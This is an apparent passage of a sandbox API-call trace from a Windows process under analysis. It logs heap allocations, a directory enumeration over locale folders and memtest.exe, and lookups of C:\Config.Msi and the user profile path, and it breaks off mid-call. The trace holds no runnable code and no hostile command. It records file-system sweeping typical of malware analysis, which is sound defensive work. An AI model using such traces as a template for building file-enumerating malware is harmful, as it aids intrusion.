HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022998 | out: hHeap=0x5e0000) returned 1 [0119.487] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3008fa0 | out: hHeap=0x5e0000) returned 1 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022998 [0119.487] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.487] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30181a0 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a60 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a10 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.487] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa8) returned 0x2f7e028 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a38 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a88 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ba0 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022bc8 [0119.487] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.487] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.487] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xfc) returned 0x69c2b8 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a10 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a60 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022bf0 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c18 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c40 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c68 [0119.488] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022998 [0119.488] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022bc8 [0119.488] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x16c) returned 0x2f84e20 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ba0 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a88 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a38 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c90 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022cb8 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ce0 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022d08 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022d30 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022d58 [0119.488] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.488] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022998 [0119.489] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.489] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c68 [0119.489] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0119.489] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x214) returned 0x3093da8 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c40 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c18 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022bf0 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a60 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a10 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022d80 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022da8 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022dd0 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022df8 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022e20 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022e48 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022e70 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022e98 [0119.489] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.489] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.490] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022998 [0119.490] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022bc8 [0119.490] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022d58 [0119.490] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022d30 [0119.490] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x310) returned 0x3093fc8 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022d08 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ce0 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022cb8 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c90 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a38 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a88 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ba0 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ec0 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ee8 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022f48 [0119.490] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022f70 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022f98 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022fc0 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022fe8 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3023010 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3023038 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3023060 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3023088 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30230b0 [0119.491] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022d58 [0119.491] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022bc8 [0119.491] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022998 [0119.491] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.491] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0119.491] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.491] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.491] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.492] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.492] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0119.492] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.492] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.492] PathFindFileNameW (pszPath="") returned="" [0119.492] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.492] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.492] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.492] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.492] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.492] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307fdd8 [0119.492] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022c68 [0119.492] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.492] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022e98 [0119.492] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229e8 | out: 